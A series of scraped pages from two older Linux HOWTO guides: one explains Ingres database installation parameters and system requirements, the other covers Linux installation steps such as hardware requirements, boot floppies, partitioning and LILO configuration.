You will use Ingres environment variables to determine where to put further elements (besides the software itself) of the Ingres installation. These variables, unlike II_SYSTEM, are not shell variables but rather parameters of Ingres stored in a file. Some of them can be changed at any time after the installation, but altering the value of others requires a whole re-install. Later you will see which of them are of this "stable" nature.

During installation, you can choose between setting these variables manually or letting the installer set them to their default values (Express Install option).

In the following, we will take the relevant Ingres environment variables one by one and see what each of them is good for. It may help if you put their planned values on paper. You can find an Installation Worksheet in the Getting Started Guide which you can print out and use for this purpose.

4.2. II_LOG_FILE and II_DUAL_LOG

Ingres uses an installation-wide transaction log file to record information on all changes made to any database. This information broadly consists of:

  • Before images of updated or deleted rows. These are necessary for rolling back uncommitted transactions, should it be required (undo).

  • The changes made to database objects. Recording them makes it possible to redo committed transactions after a system crash if the new data had not been written to the database prior the crash.

The transaction log resides in the II_LOG_FILE/ingres/log directory, where II_LOG_FILE is an Ingres environment variable. The name of the log file is ingres_log.

Express Install creates a log file of the minimum possible size, 16 Mb. Such a log file may not be large enough even in a development system. If you have free disk space and choose manual install (in which case you can specify the size of the log), set it to something much larger.

Both the location and the size of the log file can be changed at any time after installation. The method of doing this is described in the System Reference Guide.

You also have to decide if you want dual logging (mirroring the transaction log). If the log gets corrupted for any reason, Ingres stops and you have to recover your databases from backup. Therefore, in a live system, it is almost compulsory either to have some type of RAID protection of the log or to have it mirrored by Ingres. If you use dual logging, the copy of the log file can be found under II_DUAL_LOG/ingres/log. Its name is dual_log.

In a development or test environment, mirroring the log is not always necessary.

4.3. Database Locations

There can be any number of databases in an Ingres installation. A database, on the other hand, consists of files of different types. These are:

  • Control file: it stores certain basic information about the database. You can see this information with the infodb command after you have completed the installation.

  • Data files: every system table, user table, and also every index goes in a separate file.

  • Checkpoint files: checkpoint is the term Ingres uses for a database backup. A backup can consist of more than file.

  • Dump files: online backups are possible in Ingres, that is, the database may be in use while the backup program is running. For this reason, the database may change while it is being checkpointed. Ingres, so that it can restore the database to the state it was in at the beginning of the backup, saves the before images of those data blocks (pages) that have changed during the backup process. These pages are saved in the dump files.

  • Journal files: from time to time, Ingres writes the records of committed transactions from the log file to journal files (at least, this is the default behavior: journalling may be set off at the database or table level). The frequency of the journalling activity is a tunable function of the amount of information that is written to the transaction log. Journalling protects the installation against media failures: if the disk containing the database crashes, you can restore the last (just before the failure occurred) committed state of the database using a backup (checkpoint) of the database and the journals created after that checkpoint was taken. If you lose the log disk, you can restore the last committed state the database was in at the time the last journal file was written.

  • Work files: Ingres, if it needs to sort large volumes of data, creates temporary files on disk.

The files constituting a database reside in different directories, according to their types. These directories are specified indirectly, by means of Ingres locations.

There are five location types:

  • Data location: place for data files of a database. A database can have more than one data location (adding data locations to a database is called extending the database). However, every database has a primary data location. The system tables and the control file always reside in the primary location. When creating a table, if you do not specify the location(s) to put it in, it will be placed in the primary data location of the database.

  • Checkpoint location: by default, backups are created here. Not necessarily, however: the ckpdb command allows you to specify an arbitrary place for the backup, this way you can checkpoint a database directly to tape as well.

  • Dump location: for dump files.

  • Journal location: this is where the journal files for a database reside.

  • Work location: Ingres creates temporary sort files in this location. Just like with data locations, a database may have more than one work location. If this is the case, Ingres, by default, uses all of them for each sort operation.

Let us see how these locations work in practice. Say we have a database, called test, with the following locations:

  • DATALOC1: data location --> /opt

  • CKPLOC: checkpoint location --> /opt

  • DMPLOC: dump location --> /opt

  • JRNLLOC: journal location --> /opt

  • WORKLOC1: work location --> /opt

Every location of the test database points to the /opt directory. Elements of the database go in these directories:

  • data files: /opt/ingres/data/default/test

  • checkpoint files: /opt/ingres/ckp/default/test

  • dump files: /opt/ingres/dmp/default/test

  • journal files: /opt/ingres/jnl/default/test

  • temporary files: /opt/ingres/work/default/test

Let us suppose now, that we extend the database to the following locations:

  • DATALOC2: data location --> /opt

  • DATALOC3: data location --> /disk2

  • WORKLOC2: work location --> /disk2

The database is effectively extended to the following directories:

  • data files: /disk2/ingres/data/default/test

  • temporary files: /disk2/ingres/work/default/test

DATALOC2 points to /opt, just like DATALOC1. Tables to be created in location DATALOC2 will go to /opt/ingres/data/default/test, the same directory where tables created in location DATALOC1 reside.

As is apparent from the example, we could have created just one location for DATALOC1, DATALOC2, CKPLOC, DMPLOC, JRNLLOC, and WORKLOC1.

Summarizing the main points about locations:

  • Every location points to the root of a directory tree.

  • More than one location can point to the same directory.

  • A location can be used for storing different types of files.

  • Databases can share locations. You can see from the example why this is true: the name of the database becomes part of the directory tree, hence files of different databases never mix.

4.4. The iidbdb Database

Every Ingres installation has a master database called iidbdb. Ingres stores information about users, locations and user databases in this database. iidbdb is created by the installer.

You have to set the locations for iidbdb during installation. These locations are stored in the following Ingres environment variables:

  • II_DATABASE: data location

  • II_CHECKPOINT: checkpoint location

  • II_DUMP: dump location

  • II_JOURNAL: journal location

  • II_WORK: work location

These variables determine the default locations for every user database as well, if you do not override them when creating those databases. See Creating and Destroying Databases for more information.

Warning

Changing the value of II_DATABASE, II_CHECKPOINT, II_DUMP, II_JOURNAL, or II_WORK requires a complete re-install of Ingres.

Let us see these variables one by one.

4.5. II_DATABASE

II_DATABASE determines the data location of iidbdb. Its default value is $II_SYSTEM (in case of a manual install you can enter a different value for II_DATABASE, while Express Install inevitably sets it to $II_SYSTEM).

The size of iidbdb after the installation is somewhat more than 5 Mb. It can only grow significantly if you create hundreds of Ingres users, databases or locations.

4.6. II_CHECKPOINT

II_CHECKPOINT contains the value for the checkpoint location of iidbdb. By default, it is also set to $II_SYSTEM.

The size of a checkpoint is just about the same as that of the database itself (at least until you modify the template file of the checkpoint program: it is possible, as you will see in Backup and Recovery). The installer takes the first checkpoint of iidbdb.

If you plan to place checkpoints of user databases under II_CHECKPOINT then you have to provide for more space here.

A further factor that must be taken into account is how long you want to keep backups. When starting the checkpoint program, you can request the deletion of older backups if you do not have too much free space.

4.7. II_DUMP

II_DUMP determines the dump location of the iidbdb database. By default, its value equals to that of II_CHECKPOINT.

By the end of the installation process, II_DUMP will contain a very small amount of data. If you always create checkpoints off-line then you will not need much space here.

4.8. II_JOURNAL

II_JOURNAL contains the value for the journal location of the iidbdb database. Its default value is the same as II_CHECKPOINT's.

The first checkpoint, taken by the installer causes the first, small journal file to appear here. If you do not use different journal locations for user databases then the necessary amount of free space under II_JOURNAL depends on three factors:

  • Whether you want Ingres to journal at all. If you take checkpoints of your databases regularly and do not mind losing the changes you have made to them since the latest checkpoint, you may switch off journalling. Naturally, running a live system without journalling is usually not acceptable.

  • If journalling is switched on, then the growth rate of the journal area is determined by the volume of changes made to the databases. Frequent, large updates require quite a bit of space under II_JOURNAL.

  • The third factor is, how long you wish to keep old journal files. If, when taking a checkpoint, you instruct ckpdb to delete the old checkpoints, then previous journal files will be removed as well.

4.9. II_WORK

II_WORK determines the work location of the iidbdb database. It also defaults to II_CHECKPOINT.

The problem of sizing the work location only arises if II_WORK serves as a work location for user databases as well. It is next to impossible to estimate the temporary disk space that will be needed here; however, having the size of the largest table multiplied by three should work as a starting point.

Remember that a database can have more than one work location. If the original location turns out too small, you can always extend the database to further work locations.

4.10. Other Ingres Environment Variables

Besides the Ingres environment variables that determine locations there are a couple more that you have to set during installation (or have Express Install set them to their default value). These are:

  • II_INSTALLATION: a two-character code, identifying the installation. Every Ingres installation on a machine must have its own, unique, installation code. The default value for II_INSTALLATION is II. Once set, it cannot be changed.

  • II_NUM_OF_PROCESSORS: number of processors in the machine. By default, it is 1. If you set it to a higher value, Ingres will use spin-locks when accessing the database cache. If you do not know what spin-locks are, do not bother. The point is to set II_NUM_OF_PROCESSORS to 2 if you have a multiprocessor machine. Its value can be changed at any time later.

  • II_CHARSET: this variable determines the code set of all character data stored in all databases you will create in the installation. Its default value is ISO88591. Perhaps it is not surprising that changing it to a different value after installation may corrupt data stored in your existing databases. Since the iidbdb database is created by the installer program, you should not choose Express Install if ISO88591 does not suit you.

  • II_TIMEZONE_NAME: name of the time zone, by default NA-PACIFIC. During manual install you can select its value from a list of valid codes. Ingres stores all date and time values in GMT and adjusts them according to II_TIMEZONE_NAME when communicating with the client. Therefore, if you set II_TIMEZONE_NAME to a different value, you will see all date-time values in the databases change. For this reason, set this variable to its final value before creating the first user database.

The (manual) installer prompts you for the value of two further parameters which are not Ingres environment variables:

  • Expected number of concurrent users in the system: this is 32 by default. Based on this number, the installer sets the value of a number of other parameters, such as the size of the database cache. These derived parameters can later be adjusted.

  • SQL-92 compatible databases: by default, Ingres databases differ from the SQL-92 standard in some ways. For example, object names not protected by single or double quotes are converted to lower case rather than upper case. You can find the other differences in the SQL Reference Guide.

After you have made up your mind on the values of all installation parameters, you know whether the default values for those variables that cannot be changed after installation are acceptable to you. If they are, you can choose Express Install.

Prev | Home | Next
System Requirements |  | The Installation Process


System Requirements

Ingres II HOWTO
Prev Next

3. System Requirements

In this section you will see what hardware and software requirements must be met before you can install Ingres. The ingres user, owner of the installation, makes a debut, too.

3.1. Hardware

The minimal hardware capable of running Ingres is:

  • 486x33 processor, Pentium recommended.

  • 16 Mb RAM, with 32 Mb swap space (64 Mb RAM recommended).

  • 200 Mb disk space if you install everything (150 Mb will do for the SDK). You do not need to have this space in one file system: we will discuss the possibilities in the section Preparing for the Installation.

Note

This is the minimum recommended configuration. Ingres, like most other RDBMSs, is a fairly resource-hungry application. While your development system will probably run beatifully on a 166 MHz Pentium with 64 Mb RAM, a live system with potentially many concurrent users would require more iron.

3.2. Software

The following software must be present for Ingres to run:

  • kernel 2.0.34 or higher.

  • libcrypt.so - this library is not included in every Linux distribution. If this is the case with your system, check your distribution's Web site: they must have it somewhere.

  • uncompress - certain Linux distributions (such as Caldera's Open Linux 2.2) do not contain the ncompress package. Again, check your distribution's Web site if you do not have it.

Working glibc versions:

glibc | SDK | Full Version
glibc 2.07 (eg RedHat 5.2) | Yes. | No.
glibc 2.1 (eg RedHat 6.0) | Yes but you need the RedHat compatibility packages and an Ingres patch to be able to use the forms-based development tools. See Forms-Based Development Tools for details. | Yes.
glibc 2.1.1, 2.1.2 (eg RedHat 6.1) | No. | Yes.
glibc 2.1.3 (eg RedHat 6.2) | See glibc 2.1. | Yes.

If you are unsure of the version of your glibc, check the /lib directory:

# ls -l /lib/libc*so

The output should be something like:

-rwxr-xr-x  ...  /lib/libc-2.1.3.so

The version of my glibc is apparently 2.1.3.

Note

There is no guarantee that if your system meets the above requirements you will be able to install Ingres on it. Sticking to a distribution that is explicitly mentioned in the release notes of your Ingres version is the best way to avoid installation problems.

3.3. Kernel Parameters

The default settings of the Linux kernel are adequate for a development Ingres environment. For a live system, however, probably to increase the size of the database cache(s), you may want to change the built-in value of the SHMMAX parameter. This parameter sets the maximum size of a shared memory segment. By default, it is 32 Mb which allows for a somewhat lesser buffer cache.

You have two choices to change the value of SHMMAX:

As root, simply echo the new value into /proc/sys/kernel/shmmax:

#echo 83886080 > /proc/sys/kernel/shmmax

In the example above, we set the value of SHMMAX to 80 Mb. The change takes effect immediately but after a reboot, the original value is restored.

The other possibility is to change SHMMAX's default value in the kernel source (the relevant header file is /usr/src/linux/include/asm/shmparam.h if you have installed the source). In this case, you may also have to modify other parameters in the file, then rebuild the kernel. I suggest you do it only if you know what you are doing. For information on how to configure and compile the kernel see The Linux Kernel HOWTO by Brian Ward.

3.4. The ingres User and II_SYSTEM

We need an account called ingres to install and run Ingres. He will own the installed software and only he can perform system management tasks such as starting and stopping Ingres.

The ingres user may belong to any group. In the following example, we will create a separate group for him.

The verified (therefore, recommended) shell for the ingres user is bash. All examples in this paper apply to this shell. If you use some other shell (which is probably just as fine), take into account the differences in syntax.

The binaries, shared libraries, configuration files and other files which make up the Ingres software, will be located in a tree structure after installation. You will set the root of this tree via the shell variable II_SYSTEM in the environment of the ingres user (to be exact, the root directory will be $II_SYSTEM/ingres).

If you plan to install the whole software, either the SDK, or the full version, make sure you have the following free space under $II_SYSTEM/ingres:

SDK | Full Version
70 Mb | 90 Mb

10 Mb extra free space is needed during installation.

Tip

If this is the first time you install Ingres (I hope you start with the SDK, not a live system), I suggest you keep the whole installation (the Ingres software, databases, backups, sort areas, etc.) in one place so that you can find every component easily. If you have at least 150-200 Mb free space under $II_SYSTEM/ingres and you do not plan to create large databases (at least, not for some time), your system will work without problems. Should you at any later time run out of space, you will always have the possibility to relocate some of your databases to other partitions.

In the following, I will assume that II_SYSTEM is set to /opt.

Logging in as root, execute the tasks mentioned above:

# useradd -d /opt/ingres -s /bin/bash ingres
# chmod 755 /opt/ingres
# passwd ingres

The useradd command creates a group with the same name as the new user if you do not specify the group on the command line. It also creates the user's home directory.

We set the home directory of ingres to /opt/ingres ($II_SYSTEM/ingres). This is not mandatory but convenient.

Finally, append the following lines to the .bashrc file of ingres:

umask 022
export II_SYSTEM=/opt
export PATH=$II_SYSTEM/ingres/bin:$II_SYSTEM/ingres/utility:$PATH
export LD_LIBRARY_PATH=/lib:/usr/lib:$II_SYSTEM/ingres/lib
export ING_EDIT=/bin/vi
if [ -n "$DISPLAY" ]
then
    export TERM_INGRES=vt100fx
else
    export TERM_INGRES=vt100f
fi

ING_EDIT sets the editor that can be called from Ingres utilities or application programs. Naturally, you can use any editor, not just vi. You must, however, specify the whole access path to the program. (If you stick to vi, check if it is under /bin: it may be somewhere else in your system.)

Note

If the EDITOR shell variable is set, it overrides the value of ING_EDIT.

Setting TERM_INGRES is necessary for the terminal to work properly. Forms-based Ingres utilities, such as the installer itself, and also applications created with traditional Ingres development tools (ABF, Vision) make heavy use of function keys. The .bashrc above sets TERM_INGRES according to the terminal type (X, or VT100-like).

These settings must be included in the .bashrc file of every Ingres user.

Prev | Home | Next
Ingres |  | Preparing for the Installation


Administrivia

The Linux Installation HOWTO
Prev

9. Administrivia

9.1. Terms of Use

This document is copyright 1998 by Eric S. Raymond. You may use, disseminate, and reproduce it freely, provided you:

  • Do not omit or alter this copyright notice (you may translate it)

  • Do not omit or alter or omit the version number and date.

  • Do not omit or alter the document's pointer to the current WWW version.

  • Clearly mark any condensed, or altered versions as such.

These restrictions are intended to protect potential readers from stale or mangled versions. If you think you have a good case for an exception, ask me.

9.2. Acknowledgements

My grateful acknowledgement to Matt D. Welsh, who originated this HOWTO. I removed much of the Slackware-specific content and refocused the remainder of the document on CD-ROM installation, but a substantial part of the content is still his.

The 4.1 version was substantially improved by some suggestions from David Shao <dshao@best.com>.

Prev | Home
After Your First Boot |


After Your First Boot

The Linux Installation HOWTO
Prev Next

8. After Your First Boot

You should now be looking at the login prompt of a new Linux, just booted from your hard drive. Congratulations!

The GNU/Linux post-install procedures has some good suggestions about things you can do just after installation to minimize problems later on.

8.1. Beginning System Administratration

Depending on how the installation phase went, you may need to create accounts, change your hostname, or (re)configure X at this stage. There are many more things you could set up and configure, including backup devices, SLIP/PPP links to an Internet Service Provider, etc.

A good book on UNIX systems administration should help. (I suggest Essential Systems Administration from O'Reilly and Associates.) You will pick these things up as time goes by. You should read various other Linux HOWTOs, such as the NET-3-HOWTO and Printing-HOWTO, for information on other configuration tasks.

8.2. Custom LILO Configuration

LILO is a boot loader, which can be used to select either Linux, MS-DOS, or some other operating system at boot time. Chances are your distribution automatically configured LILO for you during the installation phase (unless you're using OS/2, this is what you should have done). If so, you can skip the rest of this section.

If you installed LILO as the primary boot loader, it will handle the first-stage booting process for all operating systems on your drive. This works well if MS-DOS is the only other operating system that you have installed. However, you might be running OS/2, which has its own Boot Manager. In this case, you want OS/2's Boot Manager to be the primary boot loader, and use LILO just to boot Linux (as the secondary boot loader).

An important gotcha for people using EIDE systems: due to a BIOS limitation, your boot sectors for any OS have to live on one of the first two physical disks. Otherwise LILO will hang after writing "LI", no matter where you run it from.

If you have to configure LILO manually, this will involve editing the file /etc/lilo.conf. Below we present an example of a LILO configuration file, where the Linux root partition is on /dev/hda2, and MS-DOS is installed on /dev/hdb1 (on the second hard drive).

# Tell LILO to install itself as the primary boot loader on /dev/hda.
boot = /dev/hda
# The boot image to install; you probably shouldn't change this
install = /boot/boot.b

# The stanza for booting Linux.
image = /vmlinuz       # The kernel is in /vmlinuz
  label = linux        # Give it the name "linux"
  root = /dev/hda2     # Use /dev/hda2 as the root filesystem
  vga = ask            # Prompt for VGA mode
  append = "aha152x=0x340,11,7,1"  # Add this to the boot options,
   # for detecting the SCSI controller

# The stanza for booting MS-DOS
other = /dev/hdb1      # This is the MS-DOS partition
  label = msdos        # Give it the name "msdos"
  table = /dev/hdb     # The partition table for the second drive

Once you have edited the /etc/lilo.conf file, run /sbin/lilo as root. This will install LILO on your drive. Note that you must rerun /sbin/lilo anytime that you recompile your kernel in order to point the boot loader at it properly (something that you don't need to worry about just now, but keep it in mind).

Note how we use the append option in /etc/lilo.conf to specify boot parameters as we did when booting the bootdisk.

You can now reboot your system from the hard drive. By default LILO will boot the operating system listed first in the configuration file, which in this case is Linux. In order to bring up a boot menu, in order to select another operating system, hold down shift or ctrl while the system boots; you should see a prompt such as

Boot:

Here, enter either the name of the operating system to boot (given by the label line in the configuration file; in this case, either linux or msdos), or press tab to get a list.

Now let's say that you want to use LILO as the secondary boot loader; if you want to boot Linux from OS/2's Boot Manager, for example. In order to boot a Linux partition from OS/2 Boot Manager, unfortunately, you must create the partition using OS/2's FDISK (not Linux's), and format the partition as FAT or HPFS, so that OS/2 knows about it. (That's IBM for you.)

In order to have LILO boot Linux from OS/2 Boot Manager, you only want to install LILO on your Linux root filesystem (in the above example, /dev/hda2). In this case, your LILO config file should look something like:

boot = /dev/hda2
install = /boot/boot.b
compact

image = /vmlinuz
  label = linux
  root = /dev/hda2
  vga = ask

Note the change in the boot line. After running /sbin/lilo you should be able to add the Linux partition to Boot Manager. This mechanism should work for boot loaders used by other operating systems as well.

Prev | Home | Next
Booting Your New System |  | Administrivia


Before You Begin

The Linux Installation HOWTO
Prev Next

4. Before You Begin

Before you can install Linux, you'll need to be sure your machine is Linux-capable, and choose a Linux to install. The Linux Pre-installation checklist may help you organize configuration data before you begin.

4.1. Hardware requirements

What kind of system is needed to run Linux? This is a good question; the actual hardware requirements for the system change periodically. The Linux Hardware-HOWTO, gives a (more or less) complete listing of hardware supported by Linux. The Linux INFO-SHEET, provides another list.

For the Intel versions, a hardware configuration that looks like the following is required:

Any 80386, 80486, Pentium or Pentium II processor will do. Non-Intel clones of the 80386 and up will generally work. You do not need a math coprocessor, although it is nice to have one.

The ISA, EISA, VESA Local Bus and PCI bus architectures are supported. The MCA bus architecture (found on IBM PS/2 machines) has been minimally supported since the 2.1.x kernels, but may not be ready for prime time yet.

You need at least 4 megabytes of memory in your machine. Technically, Linux will run with only 2 megs, but most installations and software require 4. The more memory you have, the happier you'll be. I suggest an absolute minimum of 16 megabytes if you're planning to use X-Windows; 64 is better.

Of course, you'll need a hard drive and an AT-standard drive controller. All MFM, RLL, and IDE drives and controllers should work. Many SCSI drives and adaptors are supported as well; the Linux SCSI-HOWTO contains more information on SCSI. If you are assembling a system from scratch to run Linux, the small additional cost of SCSI is well worth it for the extra performance and reliability it brings.

You'll want a CD-ROM drive; effectively all Linux distributions are now CD-ROM based. If your machine was built in 1998 or later, you should be able to actually boot your Linux's installer right off the CD-ROM without using a boot floppy.

If your CD-ROM is ATAPI, SCSI, or true IDE you should have no problem making it work (but watch for cheap drives advertising "IDE" interfaces that aren't true IDE). If your CD-ROM uses a proprietary interface card, it's possible the installation kernel you're going to boot from floppy won't be able to see it -- and an inaccessible CD-ROM is a installation show-stopper. Also, CD-ROMs that attach to your parallel port won't work at all. If you're in doubt, consult the Linux CD-ROM HOWTO for a list and details of supported hardware.

If your CD-ROM isn't in your machine's boot sequence, you will need a 3.5" floppy drive. While 5.25" floppies are supported under Linux, they are little-enough used that you should not count on disk images necessarily fitting on them. (A stripped-down Linux can actually run on a single floppy, but that's only useful for installation and certain troubleshooting tasks.)

You also need an MDA, Hercules, CGA, EGA, VGA, or Super VGA video card and monitor. In general, if your video card and monitor work under MS-DOS or Windows then they should work under Linux. However, if you wish to run the X window system, there are other restrictions on the supported video hardware. The Linux XFree86-HOWTO, contains more information about running X and its requirements.

If you're running on a box that uses one of the Motorola 68K processors (including Amiga, Atari, or VMEbus machines), see the Linux/m68k FAQ for information on minimum requirements and the state of the port. The FAQ now says m68k Linux is as stable and usable as the Intel versions.

4.2. Space requirements and coexistence

You'll need free space for Linux on your hard drive. The amount of space needed depends on how much software you plan to install. Today most installations require somewhere in the ballpark of a gigabyte of space. This includes space for the software, swap space (used as virtual RAM on your machine), and free space for users, and so on.

It's conceivable that you could run a minimal Linux system in 80 megs or less (this used to be common when Linux distributions were smaller), and it's conceivable that you could use two gigabytes or more for all of your Linux software. The amount varies greatly depending on the amount of software you install and how much space you require. More about this later.

Linux will co-exist with other operating systems, such as MS-DOS, Microsoft Windows, or OS/2, on your hard drive. (In fact you can even access MS-DOS files and run some MS-DOS programs from Linux.) In other words, when partitioning your drive for Linux, MS-DOS or OS/2 live on their own partitions, and Linux exists on its own. We'll go into more detail about such ``dual-boot'' systems later.

You do not need to be running MS-DOS, OS/2, or any other operating system to use Linux. Linux is a completely stand-alone operating system and does not rely on other OSs for installation and use.

In all, the minimal setup for Linux is not much more than is required for most MS-DOS or Windows 3.1 systems sold today (and it's a good deal less than the minimum for Windows 95!). If you have a 386 or 486 with at least 4 megs of RAM, then you'll be happy running Linux. Linux does not require huge amounts of disk space, memory, or processor speed. Matt Welsh, the originator of this HOWTO, used to run Linux on a 386/16 MHz (the slowest machine you can get) with 4 megs of RAM, and was quite happy. The more you want to do, the more memory (and faster processor) you'll need. In our experience a 486 with 16 megabytes of RAM running Linux outdoes several models of expensive workstations.

4.3. Time requirements

Start to finish, a modern Linux installation from CD-ROM can be expected to take from ninety minutes to three hours.

4.4. Choosing a Linux distribution

Before you can install Linux, you need to decide on one of the ``distributions'' of Linux which are available. There is no single, standard release of the Linux software---there are many such releases. Each release has its own documentation and installation instructions. All distributions pretty much share the same underlying codebase, however.

Linux distributions are available both via anonymous FTP and via mail order on diskette, tape, and CD-ROM. There are many checklists and comparative reviews of Linux distributions out there. The Linux Weekly News site, in addition to being an excellent general source of news and information, carries a weekly report on distributions with pointers to many of them.

In the dim and ancient past when this HOWTO was first written (1992-93), most people got Linux by tortuous means involving long downloads off the Internet or a BBS onto their DOS machines, followed by an elaborate procedure which transferred the downloads onto multiple floppy disks. One of these disks would then be booted and used to install the other dozen. With luck (and no media failures) you'd finish your installation many hours later with a working Linux. Or maybe not.

While this path is still possible (and you can download any one of several distributions from Metalab), there are now much less strenuous ways. The easiest is to buy one of the high-quality commercial Linux distributions distributed on CD-ROM, such as Red Hat, Debian, Linux Pro, or WGS. These are typically available for less than $50 at your local bookstore or computer shop, and will save you many hours of aggravation.

You can also buy anthology CD-ROMs such as the InfoMagic Linux Developer's Resource set. These typically include several Linux distributions and a recent dump of major Linux archive sites, such as metalab or tsx-11.

In the remainder of this HOWTO we will focus on the steps needed to install from an anthology CD-ROM, or one of the lower-end commercial Linuxes that doesn't include a printed installation manual. If your Linux includes a paper manual some of this HOWTO may provide useful background, but you should consult the manual for detailed installation instructions.

Prev | Home | Next
The Easiest Option: Buy, Don't Build |  | Installation Overview


The Easiest Option: Buy, Don't Build

The Linux Installation HOWTO
Prev Next

3. The Easiest Option: Buy, Don't Build

Linux has now matured enough that there are now system integrators who will assemble a workstation for you, install and configure a Linux, and do an intensive burn-in to test it before it's shipped to you. If you have more money than time, or you have stringent reliability or performance requirements, these integrators provide a valuable service by making sure you won't get hardware that's flaky or dies two days out of the box.

For those of us without a champagne budget, the rest of this HOWTO is about how to install Linux yourself.

Prev | Home | Next
Recent Changes |  | Before You Begin


Recent Changes

The Linux Installation HOWTO
Prev Next

2. Recent Changes

  • Added the `Buy, Don't Build' section.

  • Added the material on booting from CD-ROM.

Prev | Home | Next
Introduction |  | The Easiest Option: Buy, Don't Build


Installation In Detail

The Linux Installation HOWTO
Prev Next

6. Installation In Detail

6.1. Getting prepared for installation

Linux makes more effective use of PC hardware than MS-DOS, Windows or NT, and is accordingly less tolerant of misconfigured hardware. There are a few things you can do before you start that will lessen your chances of being stopped by this kind of problem.

First, collect any manuals you have on your hardware -- motherboard, video card, monitor, modem, etc. -- and put them within easy reach.

Second, gather detailed information on your hardware configuration. One easy way to do this, if you're running MS-DOS 5.0, or up, is to print a report from the Microsoft diagnostic utility msd.exe (you can leave out the TSR, driver, memory-map, environment-strings and OS-version parts). Among other things, this will guarantee you full and correct information on your video card and mouse type, which will be helpful in configuring X later on.

Third, check your machine for configuration problems with supported hardware that could cause an un-recoverable lockup during Linux installation.

  • It is possible for a DOS/Windows system using IDE hard drive(s) and CD ROM to be functional even with the master/slave jumpers on the drives incorrectly set. Linux won't fly this way. If in doubt, check your master-slave jumpers!

  • Is any of your peripheral hardware designed with neither configuration jumpers nor non-volatile configuration memory? If so, it may require boot-time initialization via an MS-DOS utility to start up, and may not be easily accessible from Linux. CD-ROMs, sound cards, Ethernet cards and low-end tape drives can have this problem. If so, you may be able to work around this with an argument to the boot prompt; see theLinux Boot Prompt HOWTO for details).

  • Some other operating systems will allow a bus mouse to share an IRQ with other devices. Linux doesn't support this; in fact, trying it may lock up your machine. If you are using a bus mouse, see the Linux Bus Mouse HOWTO, for details.

If possible, get the telephone number of an experienced Linux user you can call in case of emergency. Nine times out of ten you won't need it, but it's comforting to have.

Budget time for installation. That will be about one hour on a bare system or one being converted to all-Linux operation. Or up to three hours for a dual-boot system (they have a much higher incidence of false starts and hangups).

6.2. Creating the boot and root floppies

(This step is only needed if you can't boot from a CD-ROM.)

Your Linux CD-ROM may come with installation aids that will take you through the process of building boot, root, and rescue disks with interactive prompts. These may be an MS-DOS installation program (such as the Red Hat redhat.exe program) or a Unix script, or both.

If you have such a program and can use it, you should read the rest of this subsection for information only. Run the program to do actual installation -- its authors certainly knew more about the specific distribution than I, and you'll avoid many error-prone hand-entry steps.

More detailed information on making bootdisks, see the Linux Bootdisk HOWTO.

Your first step will be to select a boot-disk image to fit your hardware. If you must do this by hand, you'll generally find that either (a) the bootdisk images on your CD-ROM are named in a way that will help you pick a correct one, or (b) there's an index file nearby describing each image.

Next, you must create floppies from the bootdisk image you selected, and optionally from the rescue disk images. This is where the MS-DOS program RAWRITE.EXE comes into play.

Next, you must have two or three high-density MS-DOS formatted floppies. (They must be of the same type; that is, if your boot floppy drive is a 3.5" drive, both floppies must be high-density 3.5" disks.) You will use RAWRITE.EXE to write the bootdisk images to the floppies.

Invoke it with no arguments, like this:

C:\> RAWRITE

Answer the prompts for the name of the file to write and the floppy to write it to (such as A:). RAWRITE will copy the file, block-by-block, directly to the floppy. Also use RAWRITE for the root disk image (such as COLOR144). When you're done, you'll have two floppies: one containing the boot disk, the other containing the root disk. Note that these two floppies will no longer be readable by MS-DOS (they are ``Linux format'' floppies, in some sense).

You can use the dd(1) commands on a UNIX system to do the same job. (For this, you will need a UNIX workstation with a floppy drive, of course.) For example, on a Sun workstation with the floppy drive on device /dev/rfd0, you can use the command:

$ dd if=bare of=/dev/rfd0 obs=18k

You must provide the appropriate output block size argument (the `obs' argument) on some workstations (e.g., Suns) or this will fail. If you have problems the man page for dd(1) may be be instructive.

Be sure that you're using brand-new, error-free floppies. The floppies must have no bad blocks on them.

Note that you do not need to be running Linux or MS-DOS in order to install Linux. However, running Linux or MS-DOS makes it easier to create the boot and root floppies from your CD-ROM. If you don't have an operating system on your machine, you can use someone else's Linux or MS-DOS just to create the floppies, and install from there.

6.3. Repartitioning your DOS/Windows drives

On most used systems, the hard drive is already dedicated to partitions for MS-DOS, OS/2, and so on. You'll need to resize these partitions in order to make space for Linux. If you're going to run a dual-boot system, it's strongly recommended that you read one or more of the following mini-HOWTOS, which describe different dual-boot configurations.

  • The DOS-Win95-OS2-Linux mini-HOWTO.

  • The Linux+Win95 mini-HOWTO.

  • The Linux+NT-Loader mini-HOWTO

Even if they are not directly applicable to your system, they will help you understand the issues involved.

Note

Some Linuxes will install to a directory on your MS-DOS partition. (This is different than installing from an MS-DOS partition.) Instead, you use the ``UMSDOS filesystem'', which allows you to treat a directory of your MS-DOS partition as a Linux filesystem. In this way, you don't have to repartition your drive.

I only suggest using this method if your drive already has four partitions (the maximum supported by DOS) and repartitioning would be more trouble than it's worth (it slows down your Linux due to filename translation overhead). Or, if you want to try out Linux before repartitioning, this is a good way to do so. But in most cases you should re-partition, as described here. If you do plan to use UMSDOS, you are on your own -- it is not documented in detail here. From now on, we assume that you are NOT using UMSDOS, and that you will be repartitioning.

A partition is just a section of the hard drive set aside for a particular operating system to use. If you only have MS-DOS installed, your hard drive probably has just one partition, entirely for MS-DOS. To use Linux, however, you'll need to repartition the drive, so that you have one partition for MS-DOS, and one (or more) for Linux.

Partitions come in three flavors: primary, extended, and logical. Briefly, primary partitions are one of the four main partitions on your drive. However, if you wish to have more than four partitions per drive, you need to replace the last primary partition with an extended partition, which can contain many logical partitions. You don't store data directly on an extended partition---it is used only as a container for logical partitions. Data is stored only on either primary or logical partitions.

To put this another way, most people use only primary partitions. However, if you need more than four partitions on a drive, you create an extended partition. Logical partitions are then created on top of the extended partition, and there you have it---more than four partitions per drive.

Note that you can easily install Linux on the second drive on your system (known as D: to MS-DOS). You simply specify the appropriate device name when creating Linux partitions. This is described in detail below.

Back to repartitioning your drive. It used to be that there was no way to resize partitions without destroying the data on them. Nowadays there are partitioning utilities that can resize non-destructively; they know about the structure of file systems, can find the free space on a file system, and can move file data around on the partition to move free space where it needs to be in order for a resize to work properly. It's still suggested that you make a full backup before using one of these, in case of program or human error.

Under Linux GNU parted allows you to create, destroy, resize and copy partitions. It supports ext2, FAT16, and FAT32 filesystems, Linux swap devices; it also knows about MS-DOS disk labels. Parted is useful for creating space for new operating systems, reorganising disk usage, copying data between hard disks, and disk imaging. It is relatively new code, but is reported to work well and not trash data.

